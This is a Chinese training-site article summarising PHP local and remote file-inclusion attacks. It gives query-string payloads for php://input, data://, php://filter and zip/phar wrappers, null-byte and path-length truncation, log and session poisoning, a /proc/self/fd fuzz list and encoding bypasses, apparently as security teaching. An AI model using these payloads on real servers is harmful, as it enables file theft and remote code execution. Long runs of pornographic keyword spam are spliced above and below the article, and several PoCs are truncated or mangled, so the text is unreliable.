色综合老司机第九色激情 _中文字幕日韩av资源站_国产+人+亚洲_久久久精品影院_久久久视频免费观看_欧美激情亚洲自拍_亚洲成av人片在线观看香蕉_热草久综合在线_欧美极品第一页_2020国产精品自拍

千鋒教育-做有情懷、有良心、有品質的職業教育機構

手機站
千鋒教育

千鋒學習站 | 隨時隨地免費學

千鋒教育

掃一掃進入千鋒手機站

領取全套視頻
千鋒教育

關注千鋒學習站小程序
隨時隨地免費學習課程

當前位置:首頁  >  技術干貨  > 文件包含漏洞相關知識總結

文件包含漏洞相關知識總結

來源:千鋒教育
發布人:qyf
時間: 2022-08-12 15:04:04 1660287844

文件包含漏洞相關知識總結

  1.文件包含漏洞概念

  通過PHP函數引入文件時,傳入的文件名沒有經過合理的驗證,從而操作了預想之外的文件,就可能導致意外的文件泄漏甚至惡意代碼注入

  2.文件包含漏洞的環境要求

  allow_url_fopen=On(默認為On) 規定是否允許從遠程服務器或者網站檢索數據 allow_url_include=On(php5.2之后默認為Off) 規定是否允許include/require遠程文件

  3.常見文件包含函數

  include()和require()區別

  include在引入不存文件時產生一個警告且腳本還會繼續執行,require則會導致一個致命性錯誤且腳本停止執行

  新建include.php文件

<?php

  $a='phpinfo1.php';#包含不存在的文件

  include $a;

  #require $a;

  echo "123";

  ?>

  運行結果:require包含不會顯示123

圖片1

  require_once和include_once該文件中已經被包含過,則不會再次包含

  4.PHP偽協議在文件包含漏洞中的利用

  4.1. php://input

  php://input可以訪問請求的原始數據的只讀流,將post請求的數據當作php代碼執行

  如果存在文件包含漏洞,可將php://input作為文件名傳入,同時在post中注入設置想要注入的代碼,php執行時就會將post的內容作為php代碼執行

  4.1.1. 使用條件

  allow_url_fopen:off/on

  allow_url_include:on

  4.1.2. 實例

<meta charset="utf8">
<?php

  error_reporting(0);

  $file=$_GET["file"];

  if(stristr($file,"php://filter")||stristr($file,"zip://")||stristr($file,"phar://")||stristr($file,"data:")){

  exit('hacker!');

  }

  if($file){

  if($file!="http://www.baidu.com")echo"tips:flag在當前目錄的某個文件中";

  include($file);

  }else{

  echo'click go baidu';

  }

  ?>

  error_reporting(0);

  $file=$_GET["file"];

  if(stristr($file,"php://filter")||stristr($file,"zip://")||stristr($file,"phar://")||stristr($file,"data:")){

  exit('hacker!');

  }

  if($file){

  if($file!="http://www.baidu.com")echo"tips:flag在當前目錄的某個文件中";

  include($file);

  }else{

  echo'click go baidu';

  }

  ?>

  執行任意代碼poc:

  ?file=php://input

  post數據:

  寫入木馬poc:

  ?file=php://input

  post數據:

  ');?>

  讀取目錄結構poc:

  ?file=php://inputpost數據:

  post數據:

  4.2. data://

  4.2.1. poc

  data://[][;charset=][;base64],

  ?file=data://,

  ?file=data://text//plain,

  ?file=data://text/plain;base64,xxxxxxxxx

  ?file=data:text/plain,

  ?file=data:text/plain;base64,xxxxxxxxxx

  4.2.2.file://,zip://,compress.zlib://和bzip2://

  4.3 使用條件

  allow_url_fopen:off/on

  allow_url_include:off/on

  file://用于訪問本地文件系統,在CTF中通常用來讀取本地文件的且不受allow_url_fopen與allow_url_include的影響(相同類型的還有zip://,zlib://和bzip2://)

  file://必須是絕對路徑

  4.3.2. poc

  以zip://為例

  要用#分隔壓縮包和壓縮包里的內容,并且#要用url編碼%23

  %23code.txt

  先將要執行的PHP代碼寫好文件名為code.txt,將phpcode.txt進行zip壓縮,壓縮文件名為file.zip,如果可以上傳zip文件便直接上傳,若不能便將file.zip重命名為file.jpg后在上傳,其他幾種壓縮格式也可以這樣操作。

  4.4. phar://

  4.4.1. poc

  phar://...(當前腳本的絕對路徑).../1.zip/1.php

  4.5. php://filter

  php://filter可以獲取指定文件源碼。當它與包含函數結合時,php://filter流會被當作php文件行。所以我們一般對其進行編碼,讓其不執行。從而導致任意文件讀取。

  poc:

  ?file=php://filter/resource=xxx.php

  或

  ?file=php://filter/read=convert.base64-encode/resource=xxx.php

  或

  ?file=php://filter/convert.base64-encode/resource=xxx.php #可繞過過濾了操作名read的waf

  或

  ?file=php://filter/read=convert.base64-encode/resource=xxx.php #可用重寫resource繞過正則為"/resource=*.jpg/i"的waf

  4.6. 總結

  php://input和data://可以注入任意代碼;file://,zip://,zlib://,bzip2://,phar,php://filter可用于讀取文件,可以結合文件上傳漏洞進行利用。

  5.文件包含漏洞的截斷

  5.1. %00截斷

  5.1.1. 要求

  php版本小于5.3.4

  magic_quotes_gpc為off狀態

  magic_quotes_gpc為on狀態時%00前會被自動加上一個反斜杠轉義

  5.1.2. 實例

  index.php

  if(empty($_GET["file"])){

  echo('../flag.php');

  return;

  }

  else{

  $filename='pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome.txt").'.html';//限制了只能訪問.html后綴名的文件,如果想訪問.php后綴名的文件就需要截斷后面的.html

  include $filename;

  }

  ?>

  poc

  index.php?file=../../flag.php%00

  5.2. 路徑長度截斷

  5.2.1. 要求

  php版本小于5.2.8

  5.2.2. 操作系統文件長度限制

  windows 259個bytes

  linux 4096個bytes

  5.2.3. 實例

  index.php

  

  if(empty($_GET["file"])){

  echo('../flag.php');

  return;

  }

  else{

  $filename='pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome.txt").'.html';//限制了只能訪問.html后綴名的文件,如果想訪問.php后綴名的文件就需要階段后面的.html

  include $filename;

  }

  ?>

  5.2.4. poc

  windows:

  poc1:file=../../flag.php..............................................................................................................................................................................................................................................

  poc2:file=../../flag.php./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

  5.3.總結

  一般來說如果php版本在5.3.4以下,先嘗試使用%00截斷,如果不行再使用路徑長度截斷

  6.包含Apache日志文件

  WEB服務器一般會將用戶的訪問記錄保存在訪問日志中。那么我們可以根據日志記錄的內容,精心構造請求,把PHP代碼插入到日志文件中,通過文件包含漏洞來執行日志中的PHP代碼。

  6.1. 使用條件

  對日志文件可讀

  知道日志文件存儲目錄

  curl命令行url請求工具(避免url轉碼的存在)

  6.2. 獲取日志存放路徑

  日志默認路徑

  (1) apache+Linux日志默認路徑

  /etc/httpd/logs/access_log

  /var/log/httpd/access_log

  (2) apache+win2003日志默認路徑

  D:\xampp\apache\logs\access.log

  D:\xampp\apache\logs\error.log

  (3) IIS6.0+win2003默認日志文件

  C:\WINDOWS\system32\Logfiles

  (4) IIS7.0+win2003 默認日志文件

  %SystemDrive%\inetpub\logs\LogFiles

  (5) nginx 日志文件

  日志文件在用戶安裝目錄logs目錄下

  以我的安裝路徑為例/usr/local/nginx,

  那我的日志目錄就是在/usr/local/nginx/logs里

  6.3. 利用方式

  使用瀏覽器訪問特殊字符會被編碼,可以使用curl避免特殊字符被編碼,但是需要注意的是[ ]在curl是特殊符號,需要進行轉義 ,不然curl使用時會報錯

  curl -v "http://xxxxx/file.php?page="?page="

  7.包含SSH log 日志

  7.1. 利用條件

  需要知道ssh-log的位置,且可讀。默認情況下為 /var/log/auth.log

  7.2. 利用方式

  首先使用ssh連接

  ssh ''@remotehost

  然后隨意輸入密碼

  最后結合文件包含漏洞即可利用

  8.包含SESSION

  8.1. 利用條件

  找到Session內的可控變量

  Session文件可讀寫,并且知道存儲路徑

  php的session文件的保存路徑可以在phpinfo的session.save_path看到

  8.2. session常見存儲路徑

  /var/lib/php/sess_PHPSESSID

  /var/lib/php/sess_PHPSESSID

  /tmp/sess_PHPSESSID

  /tmp/sessions/sess_PHPSESSID

  session文件格式:sess_[phpsessid] ,而 phpsessid 在發送的請求的 cookie 字段中可以看到

  9.包含environ

  利用條件:

  php以cgi方式運行,這樣environ才會保持UA頭。

  environ文件存儲位置已知,且environ文件可讀。

  姿勢:

  /proc/self/environ中會保存user-agent頭。如果在user-agent中插入php代碼,則php代碼會被寫入到中。之后再包含它即可。

  10.包含/proc/self/fd/[environreferer]

  apache的錯誤日志可能包含在/proc/self/fd/[envrionreferer],例如/proc/self/fd/2,/proc/self/fd/3,/proc/self/fd/10,可以使用burpsuite的測試器模塊fuzz出該文件結構

  fuzz字典:

  /proc/self/cmdline

  /proc/self/stat

  /proc/self/status

  /proc/self/fd/0

  /proc/self/fd/1

  /proc/self/fd/2

  /proc/self/fd/3

  /proc/self/fd/4

  /proc/self/fd/5

  /proc/self/fd/6

  /proc/self/fd/7

  /proc/self/fd/8

  /proc/self/fd/9

  /proc/self/fd/10

  /proc/self/fd/11

  /proc/self/fd/12

  /proc/self/fd/13

  /proc/self/fd/14

  /proc/self/fd/15

  /proc/self/fd/16

  /proc/self/fd/17

  /proc/self/fd/18

  /proc/self/fd/19

  /proc/self/fd/20

  /proc/self/fd/21

  /proc/self/fd/22

  /proc/self/fd/23

  /proc/self/fd/24

  /proc/self/fd/25

  /proc/self/fd/26

  /proc/self/fd/27

  /proc/self/fd/28

  /proc/self/fd/29

  /proc/self/fd/30

  /proc/self/fd/31

  /proc/self/fd/32

  /proc/self/fd/33

  /proc/self/fd/34

  /proc/self/fd/35

  11.包含臨時文件

  php中上傳文件,會創建臨時文件。在linux下使用/tmp目錄,而在windows下使用c:\winsdows\temp目錄。在臨時文件被刪除之前,利用競爭即可包含該臨時文件。

  由于包含需要知道包含的文件名。一種方法是進行暴力猜解,linux下使用的隨機函數有缺陷,而window下只有65535中不同的文件名,所以這個方法是可行的。

  另一種方法是配合phpinfo頁面的php variables,可以直接獲取到上傳文件的存儲路徑和臨時文件名,直接包含即可。這個方法可以參考LFI With PHPInfo Assistance

  12.其他包含姿勢

  包含stmp日志

  包含xss

  包含上傳文件

  13.文件包含漏洞的繞過方法

  13.1. 特定前綴繞過

  13.1.1. 目錄遍歷

  使用 …/…/ 來返回上一目錄,被稱為目錄遍歷(Path Traversal)。例如 ?file=…/…/phpinfo/phpinfo.php

  13.1.2. 編碼繞過

  服務器端常常會對于…/等做一些過濾,可以用一些編碼來進行繞過。

  服務器端常常會對于…/等做一些過濾,可以用一些編碼來進行繞過。

  1.利用url編碼

  /%2e%2e%2f

  ...

  %2f%2e%2e/

  \%2e%2e%5c

  ...

  %5c%2e%2e\

  2.二次編碼

  /%252e%252e%252f

  /%252e%252e%255c

  13.2. 指定后綴繞過

  13.2.1. query(?)

  [訪問參數] ?file=http://localhost:8081/phpinfo.php?

  [拼接后] ?file=http://localhost:8081/phpinfo.php?.txt

  ?將后面的.txt截斷,web服務器會認為.txt是一個新的參數

  13.2.2. fragment(#)

  [訪問參數] ?file=http://localhost:8081/phpinfo.php%23

  [拼接后] ?file=http://localhost:8081/phpinfo.php#.txt

  13.2.3. zip://

  [訪問參數] ?file=zip://D:\zip.jpg%23phpinfo

  [拼接后] ?file=zip://D:\zip.jpg#phpinfo.txt

  13.2.4. phar://

  [訪問參數] ?file=phar://zip.zip/phpinfo

  [拼接后] ?file=phar://zip.zip/phpinfo.txt

  更多關于“網絡安全培訓”的問題,歡迎咨詢千鋒教育在線名師。千鋒教育多年辦學,課程大綱緊跟企業需求,更科學更嚴謹,每年培養泛IT人才近2萬人。不論你是零基礎還是想提升,都可以找到適合的班型,千鋒教育隨時歡迎你來試聽。

tags:
聲明:本站稿件版權均屬千鋒教育所有,未經許可不得擅自轉載。
10年以上業內強師集結,手把手帶你蛻變精英
請您保持通訊暢通,專屬學習老師24小時內將與您1V1溝通
免費領取
今日已有369人領取成功
劉同學 138****2860 剛剛成功領取
王同學 131****2015 剛剛成功領取
張同學 133****4652 剛剛成功領取
李同學 135****8607 剛剛成功領取
楊同學 132****5667 剛剛成功領取
岳同學 134****6652 剛剛成功領取
梁同學 157****2950 剛剛成功領取
劉同學 189****1015 剛剛成功領取
張同學 155****4678 剛剛成功領取
鄒同學 139****2907 剛剛成功領取
董同學 138****2867 剛剛成功領取
周同學 136****3602 剛剛成功領取
相關推薦HOT
色综合老司机第九色激情 _中文字幕日韩av资源站_国产+人+亚洲_久久久精品影院_久久久视频免费观看_欧美激情亚洲自拍_亚洲成av人片在线观看香蕉_热草久综合在线_欧美极品第一页_2020国产精品自拍
懂色av一区二区夜夜嗨| 首页欧美精品中文字幕| 91精品国产欧美一区二区成人| 精品国产伦一区二区三区观看方式 | 国产91精品露脸国语对白| 欧美大片免费久久精品三p| 日韩av网站免费在线| 日韩视频在线你懂得| 久久国产精品露脸对白| 国产女同性恋一区二区| 色视频一区二区| 亚洲国产一区二区视频| 欧美日韩国产成人在线免费| 三级欧美在线一区| 欧美精品一区二区三区四区| 国产一区二区女| 国产精品麻豆欧美日韩ww| 欧美三级电影网站| 国产在线乱码一区二区三区| 亚洲欧洲日韩女同| 日韩一区二区免费在线观看| 成人在线综合网| 午夜久久久久久久久| 91精品国产欧美一区二区成人| 久久99国内精品| 18涩涩午夜精品.www| 日韩一级片网站| 成人avav影音| 美女尤物国产一区| 亚洲精品久久7777| 久久久精品一品道一区| 在线亚洲高清视频| 亚洲福利一二三区| 麻豆高清免费国产一区| 成人一级视频在线观看| 午夜在线电影亚洲一区| 国产欧美精品区一区二区三区| caoporn国产精品| 久久国产日韩欧美精品| 亚洲曰韩产成在线| 狠狠色丁香久久婷婷综| 北条麻妃国产九九精品视频| 日本一区二区三区视频视频| fc2成人免费人成在线观看播放| 亚洲日本一区二区| 亚洲高清免费在线| 在线电影一区二区三区| 欧美成人艳星乳罩| 青椒成人免费视频| 成人影视亚洲图片在线| 九九精品一区二区| 国产一区在线视频| 91小宝寻花一区二区三区| 91在线播放网址| 日韩欧美成人一区| 国产成人免费9x9x人网站视频| 精品一区二区免费在线观看| 成人精品高清在线| 91精品一区二区三区在线观看| 欧美男生操女生| 中文字幕人成不卡一区| 亚洲成人先锋电影| 一本一道综合狠狠老| 精品国产一区a| 视频一区二区三区中文字幕| 国产黄色成人av| 久久午夜色播影院免费高清| 欧美一区二区精品在线| 日韩三级精品电影久久久| 亚洲美女屁股眼交| 国产精品996| 欧美日韩一区二区三区不卡| 亚洲国产一区二区三区| 亚洲第一在线综合网站| 欧美一区二区三区在线视频| 国产精品盗摄一区二区三区| 色综合天天综合网天天看片| 欧美激情一区三区| 亚洲国产va精品久久久不卡综合| 国产一区二区三区免费看| 欧美日韩国产一二三| 亚洲九九爱视频| 91蜜桃网址入口| 国产精品不卡视频| 粉嫩在线一区二区三区视频| 久久久精品免费免费| 国产在线看一区| 国产欧美一区二区精品忘忧草| 国产剧情一区二区三区| 国产日韩欧美综合在线| 国产露脸91国语对白| 国产午夜精品福利| 成人深夜视频在线观看| 中文字幕综合网| 欧洲av一区二区嗯嗯嗯啊| 一区二区三区日韩在线观看| 91福利国产精品| 日韩电影一区二区三区四区| 欧美一级午夜免费电影| 久草精品在线观看| 中文字幕国产精品一区二区| 色哟哟精品一区| 三级欧美在线一区| 国产片一区二区三区| 成人免费高清视频在线观看| 国产精品青草综合久久久久99| 91免费观看视频在线| 欧美美女一区二区在线观看| 美女爽到高潮91| 国产精品美女一区二区三区 | 91精品国产美女浴室洗澡无遮挡| 亚洲gay无套男同| 久久久精品免费网站| 欧美午夜精品久久久久久孕妇 | 日韩美女久久久| 91精品国产高清一区二区三区蜜臀 | 日韩免费电影一区| 成人自拍视频在线| 五月婷婷激情综合| 中文欧美字幕免费| 日韩精品一区二区三区四区视频| 色94色欧美sute亚洲线路一ni| 久久国产精品99久久久久久老狼| 国产精品不卡一区| 精品国产1区2区3区| 欧美日韩精品一区二区| av在线一区二区| 国产一区二区三区高清播放| 日韩精品欧美精品| 一区二区三区成人在线视频| 亚洲国产精品av| 26uuu精品一区二区三区四区在线| 在线观看亚洲精品视频| av一本久道久久综合久久鬼色| 韩国欧美国产1区| 奇米影视一区二区三区| 亚洲一区二区在线视频| 亚洲女同一区二区| 中文字幕一区二| 久久久精品综合| 国产三级三级三级精品8ⅰ区| 欧美丰满一区二区免费视频| 欧美性猛片aaaaaaa做受| 色综合色狠狠综合色| 97久久超碰精品国产| 成人三级在线视频| eeuss影院一区二区三区| 成人午夜看片网址| 处破女av一区二区| 91蝌蚪porny九色| 欧美日韩美女一区二区| 欧美肥胖老妇做爰| 欧美大胆一级视频| 精品久久久久久久人人人人传媒| 日韩欧美第一区| 欧美国产一区在线| 亚洲免费看黄网站| 亚洲妇熟xx妇色黄| 理论电影国产精品| 精品一区二区免费| 国产精品一区二区久久精品爱涩| 国产一区二区0| av动漫一区二区| 欧美美女视频在线观看| 日韩一区二区三区视频在线观看| 日韩欧美在线一区二区三区| 欧美在线免费视屏| 欧美亚洲国产一区在线观看网站 | 国产做a爰片久久毛片| 韩国三级电影一区二区| www.在线成人| 欧美视频精品在线观看| 久久久久久久综合色一本| 国产精品久久午夜| 日韩二区三区在线观看| 国产99久久久国产精品 | 精品污污网站免费看| 精品久久久久久久久久久久久久久 | 国产精品国产三级国产aⅴ无密码| 国产精品福利一区二区| 亚洲18女电影在线观看| 国产精品中文有码| 欧美三级电影精品| 国产婷婷色一区二区三区四区| 99精品久久只有精品| 日本不卡在线视频| 91丨porny丨户外露出| 26uuu亚洲| 日日夜夜精品免费视频| 一本色道**综合亚洲精品蜜桃冫| 日韩美女视频一区二区在线观看| 亚洲色图清纯唯美| 国产一区二区三区久久悠悠色av| 欧美日韩国产免费一区二区| 国产精品久99| 国产精品18久久久久| 欧美一三区三区四区免费在线看| 综合精品久久久| 成人一级片在线观看| 久久精品夜色噜噜亚洲a∨|